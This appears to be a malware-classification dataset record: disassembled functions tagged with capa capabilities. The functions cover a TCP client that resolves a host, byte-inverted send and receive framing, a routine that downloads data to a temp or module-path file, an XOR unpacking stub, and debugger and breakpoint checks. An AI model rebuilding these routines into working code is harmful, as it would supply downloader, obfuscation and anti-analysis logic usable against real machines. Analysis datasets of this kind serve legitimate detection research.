joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404977
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, edx
push esi
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
call fcn.00404ab6
mov esi, eax
mov dword [ebp - 0x418], esi
test esi, esi
jne 0x404aa9
push ebx
push edi
mov edi, 0x206
push edi
mov word [ebp - 0x20c], ax
xor ebx, ebx
lea eax, [ebp - 0x20a]
push ebx
push eax
call fcn.00409320
xor eax, eax
push edi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push ebx
push eax
call fcn.00409320
add esp, 0x18
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x41c3a8
mov ebx, edi
xor eax, eax
cmp word [ebx], ax
je 0x404a35
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.0040587a
push ebx
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.004058d6
add esp, 0x18
xor eax, eax
add ebx, 0x118
cmp ebx, 0x41c920
jl 0x404a01
mov ebx, dword [ebp - 0x420]
mov esi, dword [ebp - 0x41c]
cmp word [edi], ax
je 0x404a64
push 1
push ebx
mov edx, esi
mov ecx, edi
call fcn.004052fa
pop ecx
pop ecx
xor eax, eax
add edi, 0x118
cmp edi, 0x41c920
jl 0x404a4f
push 0x41c1a0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004058d6
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 2
pop ecx
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x418]
pop edi
cmove eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040565b
leave
ret
Function at 0x404cd1
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9b4
mov eax, dword [0x41a038]
xor eax, esp
mov dword [esp + 0x9b0], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [esp + 0x1b4]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
lea eax, [esp + 0x28]
push eax
xor esi, esi
push 0x101
mov dword [esp + 0x18], edx
mov ebx, ecx
mov dword [esp + 0x1c], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404d29
xor eax, eax
jmp 0x404d79
push 6
push 1
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x404d25
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404d8e
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
pop ebx
push ebx
mov dword [esp + 0x18], eax
push 4
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x404d91
cmp dword [edi], esi
je 0x404d77
push dword [edi]
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov eax, esi
mov ecx, dword [esp + 0x9bc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040565b
mov esp, ebp
pop ebp
ret
push 2
pop ebx
mov eax, dword [eax + 0xc]
push dword [esp + 0x10]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x20], eax
mov word [esp + 0x1c], bx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
push 0x10
lea eax, [esp + 0x1c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404d69
xor esi, esi
inc esi
jmp 0x404d77

Function at 0x404f1e
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x404f9f
push edi
mov edi, dword [ebp + 8]
mov eax, esi
test edi, edi
jle 0x404f44
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x404f3c
lea eax, [edi + 7]
push eax
call fcn.00406e67
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [0x41af10]
mov dword [ecx + 2], eax
mov al, byte [0x41af14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.00409f80
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push esi
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404f97
xor ecx, ecx
inc ecx
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.0040725b
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x405195
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
push esi
test eax, eax
lea esi, [ebp - 0x8cc]
cmovne esi, eax
push edi
mov edi, ecx
xor eax, eax
mov word [esi], ax
xor ebx, ebx
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8d8], edi
cmp dword [edi], eax
je 0x4052e9
test edx, edx
je 0x4052e9
push 0xc7
lea eax, [ebp - 0xcb]
push ebx
push eax
mov byte [ebp - 0xcc], bl
call fcn.00409320
add esp, 0xc
lea eax, [ebp - 0xcc]
push ebx
push 2
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4052e9
test eax, eax
je 0x4052e9
movzx eax, word [ebp - 0xcc]
mov dword [ebp - 0x8d4], eax
add eax, 2
push eax
mov esi, ebx
call fcn.00406e67
mov edi, eax
mov eax, dword [ebp - 0x8d4]
pop ecx
test eax, eax
jle 0x4052de
push ebx
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x8d8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4052d8
test eax, eax
je 0x4052d8
add esi, eax
mov eax, dword [ebp - 0x8d4]
cmp eax, esi
jg 0x40524e
cmp esi, 5
jl 0x4052de
mov ecx, 0x41af10
sub esi, 5
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x4052de
movzx eax, byte [ecx + 4]
cmp al, byte [edi + 4]
jne 0x4052de
test esi, esi
jle 0x4052a4
lea eax, [edi + 5]
mov ecx, esi
not byte [eax]
inc eax
dec ecx
jne 0x40529e
mov ebx, dword [ebp - 0x8dc]
lea eax, [edi + 5]
cmp dword [ebx], esi
jl 0x4052c2
push esi
push eax
push dword [ebp - 0x8d0]
call fcn.00409f80
mov dword [ebx], esi
jmp 0x4052d0
push dword [ebx]
push eax
push dword [ebp - 0x8d0]
call fcn.00409f80
xor ebx, ebx
add esp, 0xc
inc ebx
jmp 0x4052de
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test edi, edi
je 0x4052e9
push edi
call fcn.0040725b
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040565b
leave
ret
Function at 0x4052fa
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1028
call fcn.0040c520
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x400
xor ebx, ebx
lea eax, [ebp - 0x814]
push ebx
push eax
mov dword [ebp - 0x1028], edx
mov esi, ecx
call fcn.00409320
push esi
lea eax, [ebp - 0x814]
push 0x1ff
push eax
call fcn.0040587a
mov edx, esi
mov ecx, edx
add esp, 0x18
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40534b
sub ecx, esi
push edi
sar ecx, 1
lea edi, [ebp - 0x812]
mov esi, 0x41c920
lea edi, [edi + ecx*2]
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x405373
sub edx, ecx
sar edx, 1
mov edi, 0x10000
lea eax, [edx*2 + 0x202]
push edi
mov dword [ebp - 0x1024], eax
call fcn.00406747
push edi
mov esi, eax
push ebx
push esi
call fcn.00409320
xor eax, eax
push 0x7fe
mov word [ebp - 0x1014], ax
lea eax, [ebp - 0x1012]
push ebx
push eax
mov dword [ebp - 0x1020], edi
call fcn.00409320
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push ebx
push eax
mov dword [ebp - 0x101c], ebx
mov dword [ebp - 0x1018], ebx
call fcn.00409320
add esp, 0x28
mov edi, 0x104
cmp dword [ebp + 0xc], ebx
je 0x405409
lea eax, [ebp - 0x20c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x405458
push edi
lea eax, [ebp - 0x414]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x414]
push 0x5c
push eax
call fcn.00406284
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.0040587a
push 0x418c6c
lea eax, [ebp - 0x20c]
push 0x103
push eax
call fcn.004058d6
add esp, 0x20
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x1028]
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebp - 0x101c]
push eax
call fcn.00404cd1
pop ecx
pop ecx
test eax, eax
je 0x40553d
lea eax, [ebp - 0x1014]
push eax
push dword [ebp - 0x1024]
lea eax, [ebp - 0x814]
push eax
mov edx, 0xbba
lea ecx, [ebp - 0x101c]
call fcn.00404de8
add esp, 0xc
test eax, eax
je 0x40553d
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1020]
push eax
push esi
lea edx, [ebp - 0x1018]
lea ecx, [ebp - 0x101c]
call fcn.00404fa5
add esp, 0xc
test eax, eax
je 0x40553d
mov eax, 0xbba
cmp word [ebp - 0x1018], ax
jne 0x40553d
cmp dword [ebp - 0x1020], ebx
je 0x40553d
cmp byte [esi], bl
jne 0x40553d
push 0x41c1a0
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.004058d6
push 0x418cec
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x1018]
push eax
mov dword [ebp - 0x1018], ebx
call fcn.00405acd
add esp, 0x18
cmp dword [ebp - 0x1018], ebx
je 0x40553a
lea edx, [ebp - 0x1018]
lea ecx, [ebp - 0x101c]
call fcn.00405564
xor ebx, ebx
inc ebx
pop edi
test esi, esi
je 0x405549
push esi
call fcn.004067d9
pop ecx
lea ecx, [ebp - 0x101c]
call fcn.00404dc8
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040565b
leave
ret
Function at 0x405564
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040c520
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push esi
push 4
mov edi, ecx
lea eax, [ebp - 0x1008]
push eax
push dword [edi]
mov ebx, edx
mov dword [ebp - 0x100c], edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x4055a5
xor eax, eax
jmp 0x4055fe
cmp dword [ebp - 0x1008], esi
jbe 0x4055ed
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
je 0x4055ed
push dword [ebx]
lea eax, [ebp - 0x1004]
push edi
push 1
push eax
call fcn.00406085
add esi, edi
mov edi, dword [ebp - 0x100c]
add esp, 0x10
cmp esi, dword [ebp - 0x1008]
jb 0x4055ad
push dword [ebx]
call fcn.00405eb7
cmp esi, dword [ebp - 0x1008]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040565b
leave
ret
Function at 0x4101b6
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004075fa
mov dword [ebp - 0x14], eax
cmp dword [0x41bd84], edi
jne 0x4102a7
push 0x800
push edi
push 0x4155d8
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x410234
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x410387
push 0x4155d8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x410387
push 0x4155f0
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x410387
push eax
call ebx
push 0x4155fc
push esi
mov dword [0x41bd84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x41560c
push esi
mov dword [0x41bd88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x415620
push esi
mov dword [0x41bd8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bd94], eax
test eax, eax
je 0x4102a4
push 0x41563c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bd90], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4102cc
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4102bf
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x4102e1
push 4
pop eax
jmp 0x410389
cmp dword [ebp - 0x14], edi
je 0x4102e1
push dword [0x41bd84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4102c6
mov eax, dword [0x41bd90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41033f
cmp dword [0x41bd94], esi
je 0x41033f
push eax
call ebx
push dword [0x41bd94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41033f
test eax, eax
je 0x41033f
call ecx
test eax, eax
je 0x410334
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x410334
test byte [ebp - 8], 1
jne 0x41033f
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x41036f
mov eax, dword [0x41bd88]
cmp eax, esi
je 0x41036c
push eax
call ebx
test eax, eax
je 0x41036c
call eax
mov edi, eax
test edi, edi
je 0x41036c
mov eax, dword [0x41bd8c]
cmp eax, esi
je 0x41036c
push eax
call ebx
test eax, eax
je 0x41036c
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x41bd84]
call ebx
test eax, eax
je 0x410387
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x410389
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040565b
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x34e85f19
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x452f4ec9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x40b4b0
Capabilities:
Reference http user-agent string

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40b6b4
sub esp, 0x18
mov edx, dword [esp + 0x1c]
test byte [edx], al
movzx ebx, byte [esp + 0x20]
movzx eax, bl
cmp eax, 0x86
jae 0x40b6a9
mov dword [esp + 0x14], eax
mov ecx, dword [edx + eax*4 + 0x14]
mov dword [esp + 0x10], ecx
mov dword [esp], ecx
call fcn.00411cf0
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx + 0x1c]
cmp eax, edx
jne 0x40b583
movzx eax, word [ecx + 0x38]
movzx ecx, ax
cmp edx, ecx
jne 0x40b623
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
movzx ecx, byte [esp + 0x20]
mov byte [esp + 4], cl
call fcn.00414550
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + eax*4 + 0x14]
mov dword [esp + 0x10], eax
mov dword [esp], eax
call fcn.00411cf0
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x10]
mov edx, 1
cmp dword [ecx + 0x1c], eax
jbe 0x40b60d
mov ebx, dword [ecx + 0x40]
imul eax, ebx
add eax, dword [ecx + 0xc]
movzx ebx, word [ecx + 0x38]
inc ebx
mov word [ecx + 0x38], bx
movzx ebp, bx
mov esi, dword [ecx + 0x1c]
cmp ebp, esi
ja 0x40b587
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ecx
mov byte [esp + 0x2c], dl
add esp, 0x18
ret
xor edx, edx
jmp 0x40b54e
mov word [esp + 0xa], bx
mov dword [esp + 0xc], esi
call fcn.004339f0
lea eax, [0x8b1256]
mov dword [esp], eax
mov dword [esp + 4], 0xe
call fcn.00434290
movzx eax, word [esp + 0xa]
movzx eax, ax
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00433f90
lea eax, [0x8af5ed]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.00434290
mov eax, dword [esp + 0xc]
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00433f90
call fcn.00433c10
call fcn.00433a60
lea eax, [0x8b694e]
mov dword [esp], eax
mov dword [esp + 4], 0x17
call fcn.00432140
lea eax, [0x8b59ba]
mov dword [esp], eax
mov dword [esp + 4], 0x16
call fcn.00432140
mov dword [esp + 0xc], edx
mov word [esp + 0xa], ax
call fcn.004339f0
lea eax, [0x8b6937]
mov dword [esp], eax
mov dword [esp + 4], 0x17
call fcn.00434290
movzx eax, word [esp + 0xa]
movzx eax, ax
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00433f90
lea eax, [0x8af5ed]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.00434290
mov eax, dword [esp + 0xc]
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00433f90
call fcn.00433c10
call fcn.00433a60
lea eax, [0x8c5054]
mov dword [esp], eax
mov dword [esp + 4], 0x31
call fcn.00432140
mov ecx, 0x86
call fcn.0045d1e0
nop
call fcn.0045bbc0
jmp fcn.0040b4b0
Function at 0x40c150
Capabilities:
Decompress data using quicklz

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40c323
sub esp, 0x34
mov eax, dword [esp + 0x38]
cmp eax, 0x7000000
jle 0x40c2f6
mov eax, 0x7000000
mov dword [esp + 0x38], eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 0x90]
mov ebx, dword [ecx + 0x94]
mov dword [ecx + 0x90], ebx
mov ebp, edx
shl edx, 0x11
xor edx, ebp
mov ebp, ebx
xor ebx, edx
shr edx, 7
xor edx, ebx
mov ebx, ebp
shr ebp, 0x10
xor ebp, edx
mov dword [ecx + 0x94], ebp
lea ecx, [ebp + ebx]
and ecx, 0x3ffffff
inc ecx
mov dword [esp], ecx
call fcn.0045d110
movsd xmm0, qword [esp + 4]
movsd qword [esp + 0x24], xmm0
mov eax, dword [esp + 0x28]
mov ecx, eax
shr eax, 0x14
and eax, 0x7ff
mov edx, eax
add eax, 0xfffffc01
mov ebx, ecx
shr ecx, 0xf
and ecx, 0x1f
mov ebp, ecx
add ecx, 1
mov esi, 0
adc esi, 0
shl ebx, 5
mov edi, dword [esp + 0x24]
shr edi, 0x1b
or edi, ebx
test esi, esi
jne 0x40c316
cmp ecx, 0x21
jae 0x40c30a
mov dword [esp + 0x10], edi
lea ebx, [0x7a9880]
movsd xmm0, qword [ebx + ebp*8]
movsd qword [esp + 0x14], xmm0
movsd xmm1, qword [ebx + ecx*8]
movsd qword [esp + 0x1c], xmm1
mov dword [esp], eax
add edx, 0xfffffc01
mov eax, 0xffffffff
adc eax, 0
mov dword [esp + 4], eax
call fcn.00453c30
mov eax, dword [esp + 0x10]
and eax, 0xfffff
movsd xmm0, qword [esp + 8]
movsd qword [esp + 0x2c], xmm0
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00453d20
movsd xmm0, qword [esp + 0x2c]
movsd xmm1, qword [esp + 0x14]
addsd xmm0, xmm1
movsd xmm2, qword [esp + 0x1c]
subsd xmm2, xmm1
movsd xmm1, qword [esp + 8]
mulsd xmm1, xmm2
movsd xmm2, qword [0x9dc258]
mulsd xmm2, xmm1
addsd xmm0, xmm2
movsd xmm1, qword [0x9dc708]
subsd xmm0, xmm1
xorps xmm1, xmm1
ucomisd xmm0, xmm1
jbe 0x40c2d1
xorps xmm0, xmm0
mov eax, dword [esp + 0x38]
cvtsi2sd xmm1, eax
movsd xmm2, qword [0x9dca40]
mulsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
inc eax
mov dword [esp + 0x3c], eax
add esp, 0x34
ret
test eax, eax
jne 0x40c17d
mov dword [esp + 0x3c], 0
add esp, 0x34
ret
mov eax, ecx
mov ecx, 0x21
call fcn.0045d1f0
mov eax, ecx
mov ecx, 0x21
call fcn.0045d2d0
nop
call fcn.0045bbc0
jmp fcn.0040c150
Function at 0x415540
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x41575f
sub esp, 0x18
mov eax, dword [0xc07018]
test eax, eax
jne 0x415748
nop
nop
lea eax, [0xc07000]
mov dword [esp], eax
call fcn.00409e60
mov eax, dword [0xc07004]
test eax, eax
je 0x41558e
cmp dword [eax + 8], 0xcc
jne 0x415656
mov edx, dword [0xc06ff8]
test edx, edx
jne 0x415638
mov dword [esp], 0x1000
mov dword [esp + 4], 0
lea eax, [0xc09558]
mov dword [esp + 8], eax
call fcn.0040c330
mov eax, dword [esp + 0xc]
mov dword [0xc06ff8], eax
mov ecx, dword [0xc06fb4]
mov dword [eax], ecx
mov eax, dword [0xc06ff8]
mov dword [0xc06fb4], eax
movzx eax, byte [0xc07580]
test al, al
jne 0x415638
xor eax, eax
jmp 0x4155f5
lea esi, [0xc07580]
xchg ebp, eax
mov byte [esi + ebx], al
xchg ebp, eax
lea eax, [ebx + 1]
cmp eax, 0x80
jge 0x415638
mov ecx, eax
mov eax, 0xcccccccd
imul ecx
add edx, ecx
sar edx, 2
mov eax, ecx
sar ecx, 0x1f
sub edx, ecx
lea edx, [edx + edx*4]
mov ebx, eax
sub eax, edx
cmp eax, 5
jae 0x41573e
lea edx, [0x7a11d8]
movzx ebp, byte [edx + eax]
cmp ebx, 0x80
jb 0x4155e7
jmp 0x415732
mov edx, dword [0xc06ff8]
mov ebx, dword [edx + 4]
mov dword [0xc06ff8], ebx
mov ebx, dword [0xc07004]
mov dword [edx + 4], ebx
mov dword [0xc07004], edx
mov edx, dword [0xc07004]
mov eax, dword [edx + 8]
cmp eax, 0xcc
jae 0x415728
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
lea eax, [edx + 8]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.00402890
mov eax, dword [esp + 0x10]
lea eax, [eax + eax*4]
mov ecx, dword [esp + 0x14]
lea edi, [ecx + eax*4 + 0x10]
mov edx, dword [0xc072f0]
lea ebx, [ecx + eax*4 + 0x1c]
lea ebp, [ecx + eax*4 + 0x20]
lea esi, [ecx + eax*4 + 0x14]
test edx, edx
jne 0x415719
mov edx, dword [esp + 0x20]
mov dword [ecx + eax*4 + 0x10], edx
mov edx, dword [esp + 0x24]
mov dword [ecx + eax*4 + 0x18], edx
mov edx, dword [0xc072f0]
test edx, edx
jne 0x4156f6
mov edx, dword [esp + 0x28]
mov dword [ecx + eax*4 + 0x1c], edx
mov edx, dword [esp + 0x2c]
mov dword [ecx + eax*4 + 0x20], edx
mov edx, dword [esp + 0x1c]
mov dword [ecx + eax*4 + 0x14], edx
mov byte [0xc06f5b], 1
nop
lea eax, [0xc07000]
mov dword [esp], eax
call fcn.0040a070
add esp, 0x18
ret
mov edi, ebx
mov eax, dword [esp + 0x28]
call fcn.0045d160
mov edi, ebp
mov eax, dword [esp + 0x2c]
call fcn.0045d160
mov edi, esi
mov eax, dword [esp + 0x1c]
call fcn.0045d160
jmp 0x4156dc
mov edx, eax
mov eax, dword [esp + 0x20]
call fcn.0045d160
mov eax, edx
jmp 0x4156b2
mov ecx, 0xcc
call fcn.0045d1f0
mov eax, ebx
mov ecx, pe_nt_image_headers32
call fcn.0045d1e0
mov ecx, 5
call fcn.0045d1e0
lea eax, [0x8b71d5]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call fcn.00432140
nop
call fcn.0045bbc0
jmp fcn.00415540
Function at 0x41f0e0
Capabilities:
Reference http user-agent string

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x41f2c2
sub esp, 0x2c
call fcn.004339f0
lea eax, [0xc09510]
mov dword [esp], eax
call fcn.00402970
mov eax, dword [esp + 8]
mov dword [esp + 0x28], eax
mov ecx, dword [esp + 4]
mov dword [esp + 0x24], ecx
lea edx, [0xc09508]
mov dword [esp], edx
call fcn.00402970
mov eax, dword [esp + 4]
mov ecx, 0x64
mul ecx
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 8]
mov dword [esp + 0x18], ecx
call fcn.0041e8e0
mov eax, dword [esp]
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x1c]
mov dword [esp], edx
mov edx, dword [esp + 0x18]
imul edx, edx, 0x64
mov ebx, dword [esp + 0x20]
add edx, ebx
mov dword [esp + 4], edx
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
call fcn.00453e90
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x1c], ecx
call fcn.004339f0
lea eax, [0x8ad698]
mov dword [esp], eax
mov dword [esp + 4], 5
call fcn.00434290
mov eax, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00433f90
call fcn.00433bd0
mov eax, dword [esp + 0x34]
shr eax, 0xa
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00433f90
lea eax, [0x8af57f]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.00434290
mov eax, dword [esp + 0x24]
shr eax, 0xa
mov ecx, dword [esp + 0x28]
mov edx, ecx
shl ecx, 0x16
or eax, ecx
mov dword [esp], eax
shr edx, 0xa
mov dword [esp + 4], edx
call fcn.00433f90
lea eax, [0x8afcce]
mov dword [esp], eax
mov dword [esp + 4], 0xc
call fcn.00434290
mov eax, dword [esp + 0x20]
mov dword [esp], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 4], eax
call fcn.00433f90
lea eax, [0x8ad7a4]
mov dword [esp], eax
mov dword [esp + 4], 6
call fcn.00434290
call fcn.00433a60
movzx eax, byte [esp + 0x38]
test al, al
jne 0x41f2a0
call fcn.004339f0
call fcn.00433c10
call fcn.00433a60
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
nop
movzx ecx, byte [eax + 0x87]
lea edx, [ecx - 1]
mov byte [eax + 0x87], dl
cmp cl, 1
je 0x41f28f
add esp, 0x2c
ret
nop
lea eax, [0xc06fe0]
mov dword [esp], eax
call fcn.0040a070
jmp 0x41f28b
call fcn.004339f0
lea eax, [0x8ae6ec]
mov dword [esp], eax
mov dword [esp + 4], 9
call fcn.00434290
call fcn.00433a60
